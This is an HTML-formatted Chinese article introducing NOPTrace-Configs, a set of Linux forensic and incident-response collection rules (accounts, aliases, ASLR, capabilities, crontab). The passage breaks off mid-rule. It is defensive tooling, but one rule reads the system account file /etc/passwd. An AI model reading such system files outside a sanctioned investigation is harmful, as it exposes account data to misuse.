black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这段时间，我们相继推出了 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configurator</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">简单介绍一下它们的作用</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 是一套标准化的数字取证与应急响应信息采集规则格式规范。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configurator</span></strong><span leaf=""> 是 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 的图形化配置工具，同时可以检查用户配置是否规范</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong><span leaf="">  是基于 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">  的采集器，用户可以使用它进行定制化信息采集</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">今天给大家带来的是 </span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong><span leaf=""> 项目，该项目是符合 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf=""> 规范的电子取证与应急响应配置集合</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">该项目的目的是当出现应急响应事件时，受害方能够第一时间采集重要信息，即使后续恢复系统或者排查破坏了痕迹，也能够留一份证据，供后续应急响应人员以及相关人员分析回溯</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">项目地址 <a href="https://github.com/Just-Hack-For-Fun/NOPTrace-Configs" target="_blank">https://github.com/Just-Hack-For-Fun/NOPTrace-Configs</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">  项目中也会同步该项目的配置文件</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">配置文件说明</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在发布 </span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong><span leaf="">  时，我们曾发出提醒，大家一定要了解程序要加载的配置文件，因为采集器是可以执行系统命令的，所以下面展示并简述每一个配置文件的内容，其中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SensitiveDirs.yaml</span></code><span leaf=""> 、 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Log.yaml</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Integrity.yaml</span></code><span leaf=""> 要着重考虑是否加载</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configs</span></strong><span leaf=""> 项目 Linux 版已覆盖绝对多数 《Linux 应急响应手册》 中的常规安全检查部分内容</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019209" data-ratio="1.4148148148148147" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d96aa32e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOXvkSDUl6BAEA5yrkXIGLsBwIKcrIhdMibloIAvofZXMhjg55KLBBg6A%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019208" data-ratio="0.975" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bfe86335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPORYiaRHDk0CqeUsAsxB2THPiabuJhRtLibB6gbnWlmEXn7MFiaU4lib5GE4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><br/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Account.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxAccounts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台用户相关内容，其中 /etc/passwd 文件可能包含恶意用户或额外配置了密码，用于权限维持&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/passwd&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 账户相关信息，用于发现异常账户</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Alias.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">LinuxAlias</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Linux 平台上 alias 信息收集。</span><span leaf=""><br/></span><span leaf="">  alias 是用于设置别名的命令，可被利用来进行权限维持。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Linux</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">alias</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf=""><a href="https://mp.weixin.qq.com/s/yXY8opNctHK5d9tXhQj35w" target="_blank">https://mp.weixin.qq.com/s/yXY8opNctHK5d9tXhQj35w</a></span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上用户的 alias 设置，主要是排查 alias 后门。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">ASLR.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxASLR&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上ASLR 是一项 Linux 系统的保护措施，将某些地址空间进行随机化，减缓一些溢出攻击。\n\n此处文件内容含义如下：\n0 - 表示关闭进程地址空间随机化。\n1 - 表示将mmap的基址，stack和vdso页面随机化\n2 - 表示在1的基础上增加堆（heap）的随机化&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/proc/sys/kernel/randomize_va_space&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/sysctl.conf&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 ASLR 配置。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Bash.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxBashBuiltIn&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 Bash 内置的函数以及命令信息&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;compgen&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-b&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://www.cnblogs.com/zhiminyu/p/14388997.html" target="_blank">https://www.cnblogs.com/zhiminyu/p/14388997.html</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 Bash 相关信息，目前只采集内置命令。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Capabilities.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxCapabilities&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 capabilities 是一种对 Linux 权限更严格划分和管控的规范，设置得当可以有效防止过度授权造成提权操作&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;getcap&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-r&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;2&gt;/dev/null&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 capabilities 权限信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">CrontabFile.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxCrontab&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 计划任务程序，包括所有可能的文件&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span 